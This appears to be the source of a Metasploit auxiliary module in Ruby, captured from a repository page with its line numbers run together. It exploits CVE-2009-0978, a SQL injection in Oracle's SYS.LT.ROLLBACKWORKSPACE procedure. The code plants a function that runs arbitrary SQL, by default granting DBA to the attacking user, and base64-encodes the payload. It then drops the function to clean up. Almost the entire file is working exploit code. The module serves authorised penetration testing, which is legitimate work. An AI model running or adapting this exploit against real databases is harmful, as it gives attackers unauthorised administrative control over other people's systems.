Path: blob/master/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::ORACLE78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Oracle DB SQL Injection via SYS.LT.ROLLBACKWORKSPACE',13'Description' => %q{14This module exploits a sql injection flaw in the ROLLBACKWORKSPACE15procedure of the PL/SQL package SYS.LT. Any user with execute16privilege on the vulnerable package can exploit this vulnerability.17},18'Author' => [ 'MC' ],19'License' => MSF_LICENSE,20'References' => [21[ 'CVE', '2009-0978' ],22[ 'OSVDB', '53734'],23[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2009.html' ],24],25'DisclosureDate' => '2009-05-04',26'Notes' => {27'Stability' => [CRASH_SAFE],28'SideEffects' => [IOC_IN_LOGS],29'Reliability' => []30}31)32)3334register_options(35[36OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]),37]38)39end4041def run42return if !check_dependencies4344name = Rex::Text.rand_text_alpha_upper(1..10)45rand1 = Rex::Text.rand_text_alpha_upper(1..10)46rand2 = Rex::Text.rand_text_alpha_upper(1..10)47rand3 = Rex::Text.rand_text_alpha_upper(1..10)48cruft = Rex::Text.rand_text_alpha_upper(1..5)4950function = "51CREATE OR REPLACE FUNCTION #{cruft}52RETURN VARCHAR2 AUTHID CURRENT_USER53AS54PRAGMA AUTONOMOUS_TRANSACTION;55BEGIN56EXECUTE IMMEDIATE '#{datastore['SQL']}';57COMMIT;58RETURN '#{cruft}';59END;"6061package1 = %|62BEGIN63SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');64END;65|6667package2 = %|68BEGIN69SYS.LT.ROLLBACKWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');70END;71|7273uno = Rex::Text.encode_base64(function)74dos = Rex::Text.encode_base64(package1)75tres = Rex::Text.encode_base64(package2)7677sql = %|78DECLARE79#{rand1} VARCHAR2(32767);80#{rand2} VARCHAR2(32767);81#{rand3} VARCHAR2(32767);82BEGIN83#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));84EXECUTE IMMEDIATE #{rand1};85#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));86EXECUTE IMMEDIATE #{rand2};87#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{tres}')));88EXECUTE IMMEDIATE #{rand3};89END;90|9192clean = "DROP FUNCTION #{cruft}"9394print_status('Attempting sql injection on SYS.LT.ROLLBACKWORKSPACE...')95prepare_exec(sql)96print_status("Removing function '#{cruft}'...")97prepare_exec(clean)98end99end100101102